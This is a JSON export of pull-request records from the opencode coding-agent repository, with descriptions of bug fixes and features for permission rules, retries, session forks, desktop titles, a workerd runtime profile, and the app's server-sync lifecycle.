        "text": "### Issue for this PR Closes #41681 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When a queued `task_id` resume starts under a different subagent, atomically refresh its stored agent and Task-owned permission rules before prompting it. Rules derived for the previous agent are replaced, while current parent ceilings and child-specific restrictions are preserved. Permission rules do not currently carry provenance, so the refresh removes one matching old-derived copy and conservatively keeps unmatched or duplicate restrictions. ### How did you verify your code works? - Added red/green coverage for sequential and queued agent switches. - `bun test test/tool/task.test.ts` (22 pass) - `bun test test/agent/plan-mode-subagent-bypass.test.ts` (5 pass) - `tsgo --noEmit` in `packages/opencode` - Prettier check and targeted oxlint (0 errors) ### Screenshots / recordings Not applicable (no UI change). ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41683",
        "createdAt": "2026-08-11T06:20:26Z",
        "updatedAt": "2026-08-12T23:31:39Z",
        "timestamp": "2026-08-12T23:31:39Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "Nath-Vikky",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41699",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(session): make retry cap and backoffDelay configurable per provider",
        "text": "### Issue for this PR Closes #21960 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Follow-up to #41939, which added the fixed `RETRY_MAX_RETRIES = 5` cap. That default is right for most cases, but the retry budget users want differs per provider (an aggressive retry loop against a rate-limited Bedrock account makes things worse; a flaky self-hosted proxy may need more than 5). This PR makes the cap and the initial backoff configurable per provider: ```json { \"provider\": { \"amazon-bedrock\": { \"options\": { \"retry\": 3, \"backoffDelay\": 1000 } } } } ``` - `retry` — max attempts (default 5 from #41939, `0` disables retries) - `backoffDelay` — initial backoff in ms (default 2000); provider `retry-after` headers still take precedence, and the jitter from #41939 is preserved Both options are stripped before SDK construction (like `chunkTimeout`) so they never reach the provider client. ### How did you verify your code works? - Rebased on current `dev` (keeps the #41939 jitter + cap behavior and its tests intact). - New unit tests in `test/session/retry.test.ts`: `retry` raises/lowers the cap; `retry: 0` never retries; `backoffDelay` changes the backoff progression; `retry-after` headers still win. `bun test test/session/retry.test.ts` → 59 pass. - `bun run typecheck` clean in `packages/core` and `packages/opencode`. - Regenerated SDK types via `./script/generate.ts`. ### Screenshots / recordings N/A (no UI change) ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41699",
        "createdAt": "2026-08-11T07:46:01Z",
        "updatedAt": "2026-08-12T17:20:43Z",
        "timestamp": "2026-08-12T17:20:43Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "eyalatox",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41701",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): speed up long session forks",
        "text": "### Issue for this PR Closes #41698 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? A synthetic 986-message session now forks in **625 ms instead of 4.3 s** — **6.8× faster**. Forks publish and project cloned events in 3,000-event batches, while source messages are read in 1,000-message pages. The SQLite schema and single-event publishing path are unchanged. ### Benchmark #### Environment - Host: MacBookPro18,1, Apple M1 Pro, 32 GiB, arm64 - Software: macOS 26.5.2, Bun 1.3.14 - Database: Fresh SQLite file per run (`MAX_VARIABLE_NUMBER=500000`) - Method: Same worktree and dependencies, 5 runs per revision, `session.fork(...)` only #### Fixture | Messages | Parts | Summary | Durable events | Data | | ---: | ---: | ---: | ---: | --- | | 986 | 5,657 (493 `step-finish`) | 25 MiB | 6,644 | Generated by the benchmark | #### Raw results | Run | Baseline `5635afc949` (ms) | PR head `5960d14fd1` (ms) | | ---: | ---: | ---: | | 1 | 4,274 | 656 | | 2 | 4,255 | 665 | | 3 | 4,246 | 613 | | 4 | 4,081 | 619 | | 5 | 4,281 | 625 | | Median | 4,255 | 625 | #### Improvement | Median | Reduction | Speedup | | ---: | ---: | ---: | | 4,255 ms → 625 ms | 85.3% | 6.8× | ### How did you verify your code works? - `packages/core`: typecheck; 1,084 tests passed - `packages/opencode`: typecheck; 3,268 tests passed, 22 skipped, 1 todo - Fork benchmark: 5 runs per revision - Pre-push workspace typecheck: 30/30 tasks passed ### Screenshots / recordings N/A — this is a non-UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41701",
        "createdAt": "2026-08-11T07:47:33Z",
        "updatedAt": "2026-08-12T16:11:09Z",
        "timestamp": "2026-08-12T16:11:09Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "evan-choi",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41729",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(desktop): label windows by active tab",
        "text": "### Issue for this PR Closes #40490 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Updates desktop window titles from the active tab so macOS Window menu entries are distinguishable. The title uses `<tab name> — <directory name>`, falls back to `OpenCode` when no tab is active, and stays within 56 Unicode code points by truncating both parts when needed. ### How did you verify your code works? - Added unit coverage for formatting, fallback, Unicode, and boundary cases - Ran the full monorepo typecheck - Built the production Electron app - Manually verified the macOS Window menu while switching tabs ### Screenshots / recordings The original behavior and design discussion are shown in #40490. The final behavior was verified in the native macOS Window menu. Before: <img width=\"299\" height=\"393\" alt=\"Screenshot 2026-08-11 at 20 42 41\" src=\"https://github.com/user-attachments/assets/23f1762d-713c-43cd-8856-1e35b7d86de3\" /> After: <img width=\"543\" height=\"390\" alt=\"Screenshot 2026-08-11 at 20 41 17\" src=\"https://github.com/user-attachments/assets/9aa0999d-becd-432c-9109-5a7bd8a97b49\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41729",
        "createdAt": "2026-08-11T11:46:58Z",
        "updatedAt": "2026-08-13T11:14:50Z",
        "timestamp": "2026-08-13T11:14:50Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "maxipesfix",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41748",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(session): interrupt a running prompt when a new one is submitted",
        "text": "### Issue for this PR Closes #41753 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? **Problem.** When the assistant is mid-task and calls the bash tool with a long-running command (e.g. `sleep 30`), submitting a new prompt is not handled until the command finishes. The new prompt is saved but no response arrives until the running tool exits — the user has to wait for the whole command before their prompt is answered. **Root cause.** `Runner.ensureRunning` in `packages/opencode/src/effect/runner.ts` treats an active run as a single-flight/join point: ```ts case \"Running\": case \"ShellThenRun\": return [awaitDone(st.run.done), st] as const ``` A second `ensureRunning` call (the new prompt's loop) simply awaits the current run's completion and **drops the new work**. The new prompt is only eventually answered because the *current* run loop happens to pick up the newly-saved user message after the tool finishes. **Fix.** When a new run is requested while one is active, interrupt the current run and start the new work immediately so the new prompt is answered promptly and the current tool (e.g. a shell command) is cancelled. The interrupted caller resolves through `onInterrupt` (for prompt loops that is `lastAssistant`). The fiber interrupt runs on a separate fiber because the interrupted run's `finishRun` acquires the same `SynchronizedRef` — interrupting while holding the lock would deadlock. Note on approach vs. #36375: that PR queues the new work behind the running run, which fixes *dropped* work but still makes a new prompt wait for a long-running tool. This PR interrupts instead, which is what the linked issue asks for. The two are mutually exclusive implementations of the `Running` case; if the maintainers prefer queueing semantics over interrupting, this PR can be reworked accordingly. ### How did you verify your code works? - Added a regression test (`a new prompt takes over a running bash tool instead of waiting for it`) that starts a first prompt loop executing `sleep 30` via the bash tool, then submits a second prompt. Before the fix the second loop times out waiting for the sleep; after the fix it completes immediately and the interrupted bash tool is cancelled. - Updated the Runner tests that documented the old join/drop semantics to the new interrupt-and-replace behavior. - `packages/opencode`: `bun test test/effect/runner.test.ts test/session/` pass (one pre-existing `glob tool keeps instance context` timeout fails on a clean tree in this environment as well, unrelated to this change). - `bun typecheck` and `oxlint` pass for `packages/opencode`. ### Screenshots / recordings N/A — no UI changes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41748",
        "createdAt": "2026-08-11T14:00:36Z",
        "updatedAt": "2026-08-13T06:22:49Z",
        "timestamp": "2026-08-13T06:22:49Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "ShinjukuZhu",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41818",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix: log plugin load failures to stderr",
        "text": "### Issue for this PR Closes #41817 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Plugin load errors are only published as a `Session.Event.Error` in `publishPluginError` (`packages/opencode/src/plugin/index.ts`). The desktop renderer does not consume that event, so a plugin that fails to load in the desktop app is invisible: the entry appears in the plugin list, nothing is logged, and no tools register. Example: plugins importing `bun:sqlite` on the Node plugin host (see #41817). Change: `publishPluginError` also writes the message to stderr, which the desktop sidecar pipes into the server log, so failures are diagnosable. The `bun:sqlite` shim itself is tracked separately in #41817. ### How did you verify your code works? Could not run the desktop build locally (no Node/pnpm toolchain in the environment). The change is a one-line addition to the existing error path, using the Node `process.stderr` API; the existing event publish is untouched. ### Screenshots / recordings N/A (no UI change). ### Checklist - [ ] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/41818",
        "createdAt": "2026-08-11T18:30:32Z",
        "updatedAt": "2026-08-13T17:50:21Z",
        "timestamp": "2026-08-13T17:50:21Z",
        "metrics": {
          "reactions": 0,
          "comments": 6
        },
        "labels": [],
        "author": "YoannDev90",
        "state": "closed",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41867",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(provider): add Merge Gateway reasoning variants",
        "text": "### Issue for this PR Closes #41868 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Merge Gateway models can declare reasoning effort choices through models.dev, but OpenCode did not recognize the adapter's `mergeGateway` provider-options key. As a result, reasoning variants were not selectable and selected efforts were not passed to the adapter correctly. This adds provider-wide support for `merge-gateway-ai-sdk-provider`. It preserves the effort values declared by models.dev and passes the selected value through `mergeGateway.reasoningEffort`. The implementation does not hard-code individual model IDs. ### How did you verify your code works? - Ran `bun test test/provider/transform.test.ts test/provider/provider.test.ts` from `packages/opencode`: 509 passed - Ran `bun typecheck` from `packages/opencode` - Connected MERGE Gateway in the local OpenCode web app - Selected GPT-5.6 Sol with the High reasoning variant - Confirmed the request completed successfully through Merge Gateway ### Screenshots / recordings <img width=\"200\" height=\"130\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d1f8c59d-da74-40c7-87b4-a96f8184427c\" /> <img width=\"120\" height=\"174\" alt=\"image\" src=\"https://github.com/user-attachments/assets/aaafd1c0-a106-4e7b-931f-9cc412b9ec5b\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
        "url": "https://github.com/anomalyco/opencode/pull/41867",
        "createdAt": "2026-08-11T22:54:18Z",
        "updatedAt": "2026-08-12T15:31:20Z",
        "timestamp": "2026-08-12T15:31:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "MatthewFeroz",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41882",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "refactor(tui): use command IDs for v2 keybinds",
        "text": "## Summary - use canonical command IDs for V2 TUI keybind configuration and migration - preserve queued-prompt and newline behavior added on the current V2 base - cover migrated bindings, component shortcuts, config persistence, and diff-viewer behavior ## Validation - `bun typecheck` in `packages/cli` - `bun typecheck` in `packages/tui` - full `packages/tui` test suite: 651 passed, 5 skipped - scoped `packages/cli` config tests: 13 passed - full `packages/cli` suite: 182 passed; 4 host-dependent service/ACP tests fail identically on untouched `origin/v2` - Prettier check for all changed TypeScript files Requested by: @kommander (Sebastian via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/41882",
        "timestamp": "2026-08-12T12:53:27Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41918",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(server): workerd runtime profile and SDK workerd entrypoint",
        "text": "## What Adds a **workerd runtime profile** so an OpenCode server can boot inside a Cloudflare Durable Object, plus the SDK entrypoint and a CI guard that proves it in a real isolate. The destination is *one OpenCode server per Durable Object* — a Slack bot where each thread is a DO hosting a full server, with OpenCode's database being the DO's own SQLite and no request leaving the isolate. That app lives on a local branch; this PR is the upstream half it needs. Four pieces: | Piece | What it is | | --- | --- | | `packages/server/src/workerd.ts` | The profile: `ServerWorkerd.create(options)` returns the fetch handler for a DO's `fetch()`, with every intentionally-local service replaced | | overrides threading | `createRoutes` / `createEmbeddedRoutes` / `ServerFetch.make` take runtime-profile replacements applied *after* the standard set, so later entries win | | `@opencode-ai/sdk-next/workerd` | The embedded typed client over the workerd profile — same `OpenCode.Interface`, in-isolate transport | | `packages/workerd-spike` | The purity guard: boots core inside real workerd via `@cloudflare/vitest-pool-workers` | ### The profile - **Database** runs on the injected `DurableObjectStorage` SQLite (`Database.layerFromClient` over the merged workerd adapter). - **Native modules** (`#pty`, `#fff`, `#photon-wasm`, `#shell-parser-wasm`, `#process-lock-ffi`) resolve to inert stubs under the `workerd` bundle condition; loopback OAuth servers import `node:http` lazily; `@effect/platform-node` is deep-imported so the barrel's eager `undici` / `node:sqlite` side imports never load. - **Watcher and fff** are disabled through existing option flags; plugin discovery is precompiled-only (`ConfigPluginSource.empty`); MCP is remote-only. - **Shell, FileSystem, FileSystemSearch, Pty** fail with a clear defect until a remote sandbox backs them; **Snapshot and Vcs** degrade to empty results, matching their behavior for locations without a supported VCS. - **Durable events are persisted unconditionally** — that history is exactly what an evicted turn is recovered from, so a runtime that dies without teardown cannot opt out. - `Global` roots every path under one writable directory (tmp on workerd), and health reports `pid: 0` where the runtime has no OS process identity. ### The spike (the heart of this PR) `packages/workerd-spike` runs the full stack inside a **real Durable Object**, all five tests green: 1. Cold boot with all 42 migrations journaled on real DO SQLite, authed health 200 / unauthed 401. 2. Session create over the HTTP API, row persisted. 3. A complete prompt turn against a `fetchMock`'d OpenAI-compatible provider, read back through the durable session log cursor route. 4. A turn that **completes with no request in flight** (prompt, return, sleep, read) — the ack-then-continue shape the Slack flow needs. 5. **Eviction mid-turn**: `DurableObjectState.abort()` between prompt-accepted and turn-complete, then a fresh instance boots over the same storage, resumes the claimed execution, and replays the drain. Test 5 is the interesting one. The durable log stays gapless across the isolate's death: ``` [1 session.input.admitted] [2 session.execution.started] [3 session.instructions.updated] [4 session.input.promoted] ✗ EVICTED ✗ [5 session.synthetic] [6 session.execution.started] [7 session.step.started] [8 session.text.started] [9 session.text.ended] [10 session.step.ended] [11 session.execution.succeeded] ``` A consumer that checkpointed a cursor at seq 4 pre-eviction resumes at exactly 5 — no gaps, no duplicates. The second `session.execution.started` (seq 6) with no terminal event between is the replay signature a projection can key on. ## How The only new seam in shared code is the `overrides` parameter. `ServerFetch.make` stays **eager** — the layer builds in the caller's scope before the handler is returned, as merged in #41896; the profile does not reintroduce a lazy first-request build. `ServerWorkerd.create` returns an `Effect` requiring a `Scope`. A Durable Object holds that scope for the instance's lifetime and never closes it, which is correct: a DO is evicted without teardown, and storage is durable. ## Scope Ported from a local seam branch validated months ago, re-adapted to current head. Several seam pieces turned out to be **superseded by upstream work and were dropped**: - **DO-SQLite adapter** → merged (#41659); this consumes `Database.layerFromClient`. - **Execution journal / `suspendOnStart`** → merged (#41652, #41800); the write-ahead claim is now unconditional, so the profile only opts into the boot-time resume. - **`PluginSupervisor.configured({ dynamic: false })`** → superseded by `ConfigPluginSource.empty`. - **`ModelsDev` `content` / `cache` options** → superseded by the embedded snapshot + KV cache (c254ba8a7f); head's models-dev is already workerd-safe (no flock, no disk). - **Co-tenant table fix, `supportsForeignKeyToggle`, migration `defer_foreign_keys`** → already in v2. - **The seam's lazy `toWebHandlerLayerWith` fetch entry** → superseded by the eager `ServerFetch.make` in #41896. One deliberate deviation: `sdk-next` keeps building its own routes rather than consuming `ServerFetch.make`. The embedded path needs the built context (for `SdkPlugins` registration and the logging context added since the seam) and uses password-less embedded auth, so routing it through `ServerFetch.make` would regress log capture and change auth semantics. It gains the same `overrides` + `resumeSuspendedSessions` hooks instead. ## Testing - `packages/workerd-spike`: **5/5 pass** in a real workerd isolate (vitest-pool-workers). - `packages/server`: 22 pass — the `ServerFetch` tests from #41896 stay green, plus a profile test over a `bun:sqlite`-backed fake DO storage. - `packages/sdk-next`: 13 pass. `packages/core`: 1681 pass. - Repo-wide `bun typecheck`: 32/32 green. `check:generated` clean for both client and www. - `script/workerd-probe.ts` (`bun run probe:workerd`): the graph bundles under the `workerd` condition with no bun builtins statically imported. The probe now distinguishes static from dynamic imports, so a lazily-loaded `bun:sqlite` behind a runtime guard (the v1 legacy-database reader) is reported as `(lazy)` rather than failing. Two CI caveats, neither from this branch: - `unit (windows)` is broken at v2 head itself (three `directoryAutocompleteSearch` path-separator tests); a fix is in flight separately. - The spike is registered as a turbo `test` task so it actually runs in CI on both matrix legs — `turbo test` only runs the tasks declared in `turbo.json`, so without that entry the guard would never fire. It pins `@cloudflare/vitest-pool-workers` 0.12.6 (newer pool/workerd pairings segfault on macOS) with a patch extending the stale workerd builtin allowlist and fixing fallback-service handling of case-insensitive filesystems, `/@fs` ids, JSON requires, and unanchored module-rule globs. Worth watching its first run on the Linux and Windows runners; if the pool proves unreliable on Windows, the task can be scoped to Linux.",
        "url": "https://github.com/anomalyco/opencode/pull/41918",
        "createdAt": "2026-08-12T02:00:22Z",
        "updatedAt": "2026-08-12T18:07:58Z",
        "timestamp": "2026-08-12T18:07:58Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:41930",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(app): unify v2 server and session lifecycle",
        "text": "## Server sync is a lifecycle, not a fetch The visible failures looked unrelated: - A model dialog opened with no models. - The provider dialog showed only the custom OpenAI-compatible entry. - The agent dropdown vanished after a project swap and never came back. - A missing Session escaped the Session route and reached the renderer error boundary. - A reconnect could leave model, tool, command, and location data stale. They had one common cause. The app treated server state as independent HTTP results. The V2 server exposes one ordered lifecycle: an event-stream handshake admits queries, events carry every later fact, and reconnection replays the admission. The handshake, query ownership, catalog projection, event handling, reconnect, and route error boundary must agree about that lifecycle. This PR makes them agree, and it aligns each mechanism with the TUI client, which already lives by these rules. ## The contradiction that found the catalog bug The live Electron app gave a useful contradiction. `GET /api/provider`, `GET /api/model`, and `GET /api/model/default` all returned `200`. The model control also rendered. That control only rendered after its direct provider queries had reached `isSuccess`. However, `ModelsProvider` and `useProviders()` still returned an empty catalog. This excluded the server response and the normalizer. The loss occurred between the TanStack query observer and the child-store projection. ```text server.connected -> enable directory query -> loadProvidersQuery() -> TanStack query result -> child.provider_ready / child.provider -> useProviders() -> ModelsProvider -> prompt control and dialogs ``` The prompt control and the model list did not use the same readiness source. The prompt control created two extra query observers. The model list read the child-store projection. One path could say \"success\" while the other path still said \"empty.\" This PR makes the child projection the single source for both readiness and data. ## The TanStack contract TanStack Solid Query documents `createQuery` options as reactive. Signal reads must occur inside the options accessor: ```ts const query = createQuery(() => ({ ...options(directory()), enabled: connection.status() === \"connected\", })) ``` Two documented facts are easy to combine incorrectly: 1. A disabled query with no data has `status: \"pending\"`, `fetchStatus: \"idle\"`, and `isLoading: false`. 2. `data` is a Solid resource. A read can activate `Suspense` when data is not available. The old readiness check used `!isLoading`, which is true for a disabled query. The projection now uses status fields for status and reads `data` only after `isSuccess || isRefetchError`: | Need | Primitive | |---|---| | Own reactive server state for a mounted directory | `createQuery` | | Share one key and one query function | `queryOptions` | | Gate a query on the event handshake | reactive `enabled` | | Decide if cached data is usable | `isSuccess` or `isRefetchError` | | Read the resolved payload | `data`, after the status guard | | Refresh after a server event | `queryClient.fetchQuery` | | Keep a derived structured view reactive | store getter or memo | Solid preserves getters on `createStore`, so the global-provider fallback is now a live getter instead of a one-time copy taken while the global catalog was still empty. ## One query cache and one key The old provider tree had two nested `QueryClientProvider` instances. A refetch could update a cache that `ModelsProvider` did not read. The PR keeps one QueryClient at the app base. Windows exposed a second identity split. The live netlog showed the same directory under two names: ```text C:/Repos/sst/opencode C:\\Repos\\sst\\opencode ``` Bootstrap wrote under raw backslash keys while observers read under normalized keys, so a successful response under one key proved nothing about the observer under the other. Every directory-scoped bootstrap query key (providers, agents, path, references, mcp, mcp resources) now uses the same normalization as the observers. The live capture after the fix shows one key form and no duplicate fetches. ## The connection loop mirrors the TUI client `ServerSDK` owns the stream lifecycle with the same shape as `packages/tui/src/context/client.tsx`: - `connect()` reports failures as values, `{ error, connectedAt }`, and never throws into the loop. - The first event must be `server.connected`; a closed or invalid stream is an error value. - The handshake has a 2-second bound; the attempt counter resets after any connection that lived at least one second. - Disconnections report at info level. They are a normal lifecycle occurrence, not `console.error` material, and a dead server no longer floods the log. Global and directory queries use `connection.status()` in their reactive `enabled` option. Reconnection distinguishes itself from first connection: pinned Sessions force-reload only on a true reconnect, because a first connection has no gap to recover, while directory bootstraps queue on both, since a directory opened before the handshake has no other recovery path. ## Events are the healing mechanism, not a hint A field bug proved the queue-based refresh insufficient. Swapping to a project while the connection was degraded left the agent dropdown empty forever: 1. The first agents fetch failed and exhausted its retries. The child store kept `[]`. 2. The server's later `agent.updated` event only queued a re-bootstrap. 3. The in-flight guard skipped the queued run, and `ensureQueryData` returned the cached store on the next one. Nothing ever healed. The rule that fixes the class: an event that names changed state must fetch that state and write the projection directly, not hope a future bootstrap notices. - `agent.updated` fetches agents and writes the child store. - `command.updated` fetches commands and writes the child store. The old path only re-bootstrapped, and the command reload inside bootstrap was gated on MCP enablement, so MCP-off directories never refreshed slash commands. - `project.directories.updated` now works at all: it is a location-scoped event, and the only handler lived in the global branch that location-scoped events can never reach. - Catalog events (`catalog.updated`, `integration.updated`, `integration.connection.updated`) invalidate and reload the exact server and directory entry. Location events refresh vcs, skills, websearch, and shell data. A full event audit (every type in `packages/schema/src/event-manifest.ts`, TUI handling versus app handling) drove two more fixes: - The file watcher listened for the V1 name `file.watcher.updated`. The V2 stream sends `filesystem.changed`. The listener was dead, and the file tree went stale on every external change. - \"Session done\" notifications listened for `session.idle`, which has no V2 publisher. They now key on `session.execution.succeeded` and `.interrupted`, the TUI's rule; failures keep their separate error path. Remaining audit findings that need design or belong to other packages are tracked in the PR comments. ## \"Available providers\" is not \"providers that can be connected\" `/api/provider` returns providers available to the model catalog, not the provider-definition inventory. The connect dialog used it as if it were complete and showed almost nothing. The correct source is `/api/integration` (185 entries on the live server). The new `loadIntegrationsQuery()` and `useIntegrations()` own that list declaratively; the connect and unpaid-model dialogs consume it; a connected integration absent from `/api/provider` falls back to its integration metadata. ## Session events use the same lifecycle The stream adapter carries current V2 events into the app projection: pending inputs, forms, messages, and transient state. Transient hydration records a revision before its HTTP load, so an older response cannot overwrite a newer event. On reconnect, active session statuses reconcile in both directions. Adjacent text, reasoning, tool-input, and compaction deltas batch without reordering. ## Missing Sessions belong to the Session route A target Session can fail before `TargetSessionRouteContent` mounts, so the route now has an outer boundary around target-server provisioning and an inner boundary for target-scoped recovery. Both use the same typed Session-not-found predicate. A stale Session ID no longer reaches the renderer error boundary. ## The test harness must honor the transport contract The mock server used to fulfill `/api/event` with a finite body. The stream closed instantly, the app reconnected every second, and every reconnect redelivered the same events with the same IDs. Real servers never redeliver an event on one stream and mint a fresh `server.connected` per connection. Compensating in product code would be the wrong layer, so the harness now honors the contract: mock `/api/event` streams stay open through a fetch patch, each connection gets a fresh handshake ID, and a pump forwards each queued event exactly once. Spec-local mocks that never sent `server.connected` now do. One flake this exposed was upstream and is fixed separately (#41965): the cached-tab paint probe counted the markdown fallback-to-parsed hydration swap as first-paint teardown under CPU load. ## A false lead, kept for the record A capture appeared to show `/api/agent` answering `204` during location boot. It did not: the `204`s were CORS preflight `OPTIONS` responses, misattributed because the probe filtered by URL without correlating request methods. The server declares and serves `200` with location-gated handlers. The empty-dropdown root cause was the failed-fetch-plus-broken-heal chain above. Probe lesson: correlate `requestWillBeSent` method with `responseReceived` status before blaming an endpoint. ## Local development identity The desktop development script sets `OPENCODE_CHANNEL=local`, but the shared app Vite plugin mapped unknown channels to `dev`. It now accepts `local`: a cold `bun dev:desktop` shows `LOCAL`, uses a `2.0.0-local-*` server version, and keeps the channel database (`opencode-local.db`). ## Evidence from the real process All investigation ran against the live Electron renderer and its real sidecar, no mocked server state: - Cold start: `LOCAL` badge, populated model control, full model menu, 185 integrations, seven featured providers. - One normalized provider key in the netlog; the backslash duplicate is gone. - Agent dropdown: present after swap and after reload; one key form; boot-window failures bridged by retry and healed by events. - Merged-state app typecheck clean; unit suite 688 pass; full E2E suite 102 pass. The earlier cached-tab paint flake remains fixed separately by #41965. ## Timeline events are projection data, not card decoration The V2 stream already carries agent, model, location, skill, compaction, restart, shell, and subagent facts as ordered `SessionMessageInfo` values. Rendering those facts inside tool cards made their order depend on whichever card happened to own them. The timeline now projects them as `Notice` rows beside user messages, assistant parts, dividers, retries, and errors. This keeps the durable protocol order intact. A completed background shell can say `Shell finished`, a subagent can say `Explore failed`, and a model switch stays between the same neighboring messages that the CLI uses. The renderer supplies labels and muted detail; it does not reconstruct lifecycle order from component state. ## Background work has one root-session surface Foreground shell and subagent calls can block the current drain. `Ctrl+B` now calls the V2 `session.background` operation and moves that blocking work behind the normal command boundary. Background state comes from the same client-backed session projection and shell list used elsewhere; blocking jobs are excluded from the already-backgrounded count. The composer is the only action surface. Its pullout can show two independent lines: ```text Move 1 subagent to background Ctrl+B Running 1 shell and 1 subagent in background ``` Child Sessions do not show the control. Running subagent cards navigate to their child Session, but they do not grow a second background action. Todo and background state share one pullout shell so their geometry, collapse motion, and composer lift remain consistent. ## Virtualized callbacks still need a Solid owner The timeline virtualizer calls resize and anchor hooks after component setup. A dynamic boolean JSX prop such as `shouldAnchorBottom={condition()}` is compiled as a lazy getter. With cached measurements, its first read could occur inside a later virtualizer callback, after Solid had left the component owner. Solid then created an undisposable memo and warned: ```text computations created outside a `createRoot` or `render` will never be disposed ``` The component interface remains value-based, as normal Solid props should be. `MessageTimelineView` eagerly derives owned local memos from `shouldAnchorBottom` and `hasScrollGesture`, and only those owned accessors cross into the imperative virtualizer callbacks. The parent does not pass signal functions as a special prop protocol. ## Development warnings now keep their evidence Source maps can map a stack, but they cannot invent one for a plain `console.warn`. The desktop development renderer now appends a source stack to warnings and errors before `electron-log` mirrors them to the terminal. Identical messages from the same call site are grouped for one second, so a lifecycle bug gives one useful stack and one repeat count instead of a wall of context-free text. Chromium's ResizeObserver loop warning has no responsible JavaScript stack. Development builds therefore record observer creation stacks and the targets touched by recently active observers. When Chromium emits the loop warning, the log names those candidates. Resize callbacks record only a timestamp and target list; production bundles remove the entire diagnostic branch through `import.meta.env.DEV`. ## Server identity is not project identity The merged settings redesign adds a server selector to provider, model, project, and extension settings. That exposed the same identity rule from the catalog investigation: provider, model, and agent catalogs are directory projections, not server-global lists. Opening settings from a Session now carries both its selected server and its directory through `SettingsServerScope`. The scope reuses the app's one QueryClient, while query keys retain server and normalized-directory identity. Switching to another server clears the directory projection instead of applying the previous server's project path to the new server. A future project selector can provide that missing directory without changing the catalog boundary. ## CI found two boundary assumptions The background shell list is advisory UI data. A mock or transitional response with no payload now becomes an empty list before it reaches TanStack Query, whose data contract rejects `undefined`. This fixed the same seeded-history smoke failure on Linux and Windows. The new background and notice copy remains in the translation dictionary. It is intentionally English-only for now; no user-facing English is hardcoded at call sites. The old all-locales parity test was removed rather than teaching a general translation gate about temporary exceptions. ## Result One reproducible rule set: > The event handshake admits server queries. TanStack query status admits payload reads. The child projection admits UI controls. Events fetch and write the state they name. Each boundary has one owner, one key, and one reactive source. That removes the states in which HTTP says \"success,\" the control says \"ready,\" and the dialog says \"empty\" Γò¼├┤Γö£├ºΓö£Γòó and the state in which the server says \"changed\" and the app never hears it.",
        "url": "https://github.com/anomalyco/opencode/pull/41930",
        "createdAt": "2026-08-12T02:52:52Z",
